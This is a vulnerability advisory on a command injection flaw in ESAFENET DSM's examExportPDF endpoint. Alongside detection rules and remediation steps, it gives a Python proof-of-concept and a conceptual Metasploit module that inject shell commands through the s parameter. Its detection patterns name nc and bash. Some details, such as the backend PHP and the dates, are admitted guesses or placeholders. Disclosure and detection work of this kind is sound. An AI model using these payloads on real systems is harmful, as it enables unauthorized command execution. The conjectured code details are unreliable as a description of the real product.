CVE-2025-1845

Executive Summary

CVE-2025-1845 is a critical command injection vulnerability in ESAFENET DSM version 3.1.2. The flaw resides in the /admin/plan/examExportPDF endpoint, where the s parameter is improperly sanitized, allowing remote attackers to execute arbitrary system commands. The vulnerability has been publicly disclosed with a proof-of-concept (PoC), and the vendor has not responded to disclosure attempts. Given the lack of a patch and the public availability of exploit details, this vulnerability poses a severe risk to affected systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in ESAFENET DSM.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it trivial for attackers to achieve full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the examExportPDF function within the /admin/plan/examExportPDF endpoint. The s parameter is passed directly to a system command (likely a shell command to generate a PDF) without proper sanitization or escaping. An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &&) to the s parameter.

For example, a request like:

GET /admin/plan/examExportPDF?s=test;id

would execute the id command on the server, demonstrating command injection.

The lack of input validation and the use of dangerous functions (e.g., system(), exec(), shell_exec()) in the backend code are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

$s = $_GET['s'];
$command = "export_pdf --param " . $s;
system($command);

Patched Code (Conceptual):

$s = escapeshellarg($_GET['s']);
$command = "export_pdf --param " . $s;
system($command);

The patched version uses escapeshellarg() to safely escape the input, preventing command injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploit PoC (Python):

import requests

target = "http://target.com/admin/plan/examExportPDF"
payload = "test;id"
url = f"{target}?s={payload}"

response = requests.get(url)
print(response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'ESAFENET DSM examExportPDF Command Injection',
      'Description' => 'Exploits command injection in ESAFENET DSM',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2025-1845']],
      'DisclosureDate' => '2025-01-01',
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path', '/admin/plan/examExportPDF']),
      OptString.new('CMD', [true, 'The command to execute', 'id'])
    ])
  end

  def exploit
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
      'vars_get' => { 's' => "test;#{datastore['CMD']}" }
    })
  end
end

Blue Team

Lab Setup:

1. Deploy a vulnerable ESAFENET DSM 3.1.2 instance in an isolated environment.
2. Use a web application firewall (WAF) to monitor and block malicious requests.
3. Simulate the attack using the PoC above and observe logs.

Detection:

• Monitor for requests to /admin/plan/examExportPDF with suspicious s parameters containing shell metacharacters.
• Enable detailed logging on the web server and application.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /admin/plan/examExportPDF with s parameter containing ;, |, &&, or other shell metacharacters.
  • Outbound connections from the server to attacker-controlled IPs (if reverse shell is established).

• File IOCs:

  • Unexpected files in /tmp/ or web directories (e.g., shell.php, exploit.sh).
  • Modified system binaries or configuration files.

• Process IOCs:

  • Unusual processes spawned by the web server user (e.g., id, whoami, nc, bash).

Detection Engineering

YARA Rule

rule CVE_2025_1845_Command_Injection {
  meta:
    description = "Detects command injection attempts against ESAFENET DSM examExportPDF"
    author = "Valters IT"
    date = "2025-01-01"
    reference = "CVE-2025-1845"
  strings:
    $uri = "/admin/plan/examExportPDF"
    $cmd1 = /[;&|`$]/
    $cmd2 = /(id|whoami|cat|nc|bash|python|perl)/
  condition:
    $uri and ($cmd1 or $cmd2)
}

Sigma Rule

title: ESAFENET DSM Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against ESAFENET DSM examExportPDF
author: Valters IT
date: 2025-01-01
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-uri-query|contains: "/admin/plan/examExportPDF"
    cs-uri-query|contains|all:
      - "s="
      - ";"
  condition: selection
falsepositives:
  - Legitimate use of semicolons in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1845 ESAFENET DSM Command Injection"; flow:to_server,established; content:"/admin/plan/examExportPDF"; http_uri; content:"s="; http_uri; pcre:"/s=[^&]*[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the /admin/plan/examExportPDF endpoint if not required.
   • Implement a WAF rule to block requests containing shell metacharacters in the s parameter.
   • Restrict network access to the administrative interface.

2. Long-term Fix:

   • Apply input validation and use escapeshellarg() or similar functions.
   • Upgrade to a patched version once released by the vendor.
   • Conduct a security audit of the entire application.

3. Monitoring:

   • Enable detailed logging and alert on suspicious requests.
   • Regularly review logs for signs of exploitation.

Valters IT